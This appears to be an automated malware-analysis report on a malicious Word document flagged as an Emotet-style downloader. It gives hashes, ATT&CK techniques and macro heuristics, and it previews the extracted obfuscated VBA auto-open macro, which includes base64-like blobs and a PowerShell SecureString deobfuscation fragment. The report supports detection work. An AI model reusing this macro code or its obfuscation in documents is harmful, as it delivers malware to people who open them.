Office (OLE) malware analysis — malicious · 4c66c8e8fc0833fc

MALICIOUS

Office (OLE)

133.5 KB Created: 2018-04-01 21:57:00 Authoring application: Microsoft Office Word First seen: 2018-10-07

MD5: a398c65e2866c9a5c041c9ce08b740c6 SHA-1: a0baf9d46f71ab41ed609cca37e90c31c987c460 SHA-256: 4c66c8e8fc0833fc17729e5c999a78603bfea9c9ba2a0d767d2dc8fa78098e0a

224 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate

The sample contains a critical ClamAV detection for 'Doc.Malware.Emodldr-10025032-0', indicating it is a known malicious document. High-severity heuristics confirm the presence of an AutoOpen VBA macro that uses CreateObject, a common technique for executing malicious code. The extracted VBA script, though obfuscated, likely attempts to download and execute a second-stage payload, as suggested by the 'OBmfJH' function calls which appear to be deobfuscating strings that could represent URLs or file paths.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	33385 bytes
SHA-256: `6561e40608564585bd3bab530844131b812d3fe7e51f9078450af327336058e9`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 17 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "bTmtORQKizJ" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "rjJCbYvwnILY" Function NPkdmFIAHoCR() On Error Resume Next IFiKR = TcRKi ZcQRdq = 80195 LlJIz = 33095 + 22791 * lMaWj + CDate(saUtA + CDbl(41412)) * 10377 - 96060 bRXXDd = OBmfJH("wRkROpseRVICeS.MarShal]::ptRTOStrInGAnsi( [ruNTIME.InTeROpsErvICeS.mArsHAl]::secUrESTRingTOGLObALaLLoCanSI($('76H.Qt", 4, 109) bvaMjh = BPXDrW WNAANr = 9696 LFXjqz = 67657 + 81294 * MNHhM + CDate(FbYpL + CDbl(20246)) * 97151 - 61487 hpiwH = AoSli wLOmB = 33860 DYGGq = 77564 + 5941 * iCqRHa + CDate(GwZAvt + CDbl(60244)) * 55818 - 7970 EELTh = OBmfJH("jKkA4ADQAZAAzADkANgA5ADMAZQBiADYAYQA5ADkAMABhADIANwBkADYAZQA5ADMAYwA3ADMAZgAxAGEAMAA3ADUAYQBiAGQANAAyADkANQBiADIANABlADQAZgBjADEAZABlADAANQAyADUAMwA3ADcAOAA4AGEAZgBjAGEAiiiXm", 4, 166) rjhmA = CFUdAa oIERVm = 53648 bjEFP = 25755 + 2705 * JXvCz + CDate(HVGdGn + CDbl(23803)) * 75297 - 95071 kFrDi = AwiGtr wHCdMq = 51374 WhSXO = 93626 + 86356 * ZGpcQJ + CDate(tZwBm + CDbl(17004)) * 98527 - 78045 XJSTjHvoBQ = OBmfJH("GlsInMANQA0AGYAZQBmADUAYgBiADMANAA5ADkAMwBiADEAZAAwAGEAOQAyADcAMwA2ADUAkY", 6, 66) QfTDlE = boqNY fQuHM = 10109 DOUpqI = 8409 + 30404 * oJXtUH + CDate(dpBUqO + CDbl(76305)) * 51301 - 91891 JQpmQ = MnAni pjpwa = 38926 TfGPM = 70793 + 59939 * WwZtnj + CDate(qaXzt + CDbl(26553)) * 87074 - 74113 waNlinz = OBmfJH("ODYANgAxADMANgAwAGQAOQA0AGMAZgA3ADIAZQAyADgAZQA1ADMAYwA4AGIAYQA0ADEAMQBhAGIAZQAyAGMANQBmAGQAZgBjADYAOQAyAGMAYQBkAGMAMQA2ADQAMAAyADEAZgAwADYANgA0AGIAMQA5ADUAZQAxADNrNVr", 2, 161) whOAh = utrCL CAdBkr = 81840 btupmt = 29539 + 48346 * aKasqT + CDate(VftGBf + CDbl(3932)) * 72196 - 46118 wCOvLR = jotdK GPiAiz = 69786 PREuI = 10198 + 27437 * aXvpZm + CDate(YaPani + CDbl(28070)) * 57141 - 78241 ZzJjX = OBmfJH("iMpkAYwA0AGYANgA3ADgANAAzAGEAOQBkAGYANgBkADQAYQBjADIANAA4ADUANwAwAGYANQA1ADYAZQBhADYANgAxAGQAOAA0ADgAMwBiAGQAOAA2AGEAZgAxAGMAMABjADUAZQAyADkAZQBlAGIANAAyAGIANQA5ADUAOQBhADIANwAxAGQAMgA0AGQAkN4rUU", 4, 186) KEOdqC = FcjkJ DLswN = 41096 VIUXGa = 29079 + 44997 * dBoQBz + CDate(zJkVi + CDbl(68277)) * 94896 - 6474 HiQjX = ujAJS LNvGW = 54751 FzrcXD = 82328 + 13125 * jGEwNS + CDate(ntmBwI + CDbl(35187)) * 96686 - 27141 ctwWjFV = OBmfJH("nai39,36,200,220,81,78,180,67,241,83,7,208,224,201,34,131,67,41,123,40,5,18,147,194,79,5,83,162,93)))) ) YHrz", 4, 102) AacYTJ = pbIQFt jBzAuE = 42453 tWINjb = 93905 + 93708 * tOhCQi + CDate(PzSGm + CDbl(18745)) * 50621 - 64873 jmwij = PbYfBw sjXwB = 52567 ihhKt = 75042 + 31410 * PaBVP + CDate(WDsvY + CDbl(51071)) * 41751 - 10987 ijYiDdoVKER = OBmfJH("WBjwA5AGYANwBiADcAMAAj4H1i", 5, 17) sCCvQF = wDRrd Fmotiw = 23019 djjiVf = 61146 + 5735 * AicwoH + CDate(rAOtcz + CDbl(7535)) * 44982 - 88185 IISmrt = bbsOo pCraA = 98877 UzNHwp = 83461 + 35478 * Jzohtf + CDate(bkphm + CDbl(3098)) * 67013 - 98167 IpRlojSEoPa = OBmfJH("lNGQH492d1116743f0423413b16050a5345MgB8ADgASwBkAGUAcQBIAFYAUQBEADUAdgB0AGoAQwBuAGQAZwA4AHYARgBtAHcAPQA9AHwAZQBiADYAzBEO", 6, 110) baEEq = rQPIK KoCCFi = 34770 aHPJAQ = 82235 + 20026 * zTOOu + CDate(OmOCo + CDbl(10134)) * 45522 - 35099 VJPkYh = USdni SASXX = 51116 LzWXW = 71594 + 98394 * aNOAG + CDate(EpOPrI + CDbl(69739)) * 36424 - 89782 FELQmEjWUvT = OBmfJH("D6ADgAYwA3ADYANAAyAGQAYgAzADIAMQA0AGMAZAAzADgAMwA3ADkAZAA0AGIANAAyAGIANgA4AGEAYwBhADMAMAl,rIa@N", 3, 86) rwqsZ = mmZcm mrOni = 99757 FOncoN = 20563 + 8216 * jRcsC + CDate(fXuGd + CDbl(18848)) * 51252 - 53490 XcRHbH = kqzzHm QuTEUb = 45564 RricCR = 67718 + 52514 * iHSXtB + CDate(TEjZT + CDbl(24184)) * 488 - 12147 ldPuhGzio = OBmfJH("8ZAA3AGIANAA2ADMAOQAwAGYAMQAwAGYAOAAyAGUAMwA5ADgANgBhADQAMAA4ADMAYQBkADcANgA2AGUAMQBkAGYANQBhAG9atrr", 2, 94) cpzFw = jGbLZc FiBPJV = 497 KXsvl = 31872 + 89545 * dErYZZ + CDate(lVrAbL + CDbl(93835)) * 64182 - 54078 VmjZz = hmjjEO WLWAF = 35346 PBkNC = 66240 + 83411 * jtBUb + CDate(YDLst + CDbl ... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.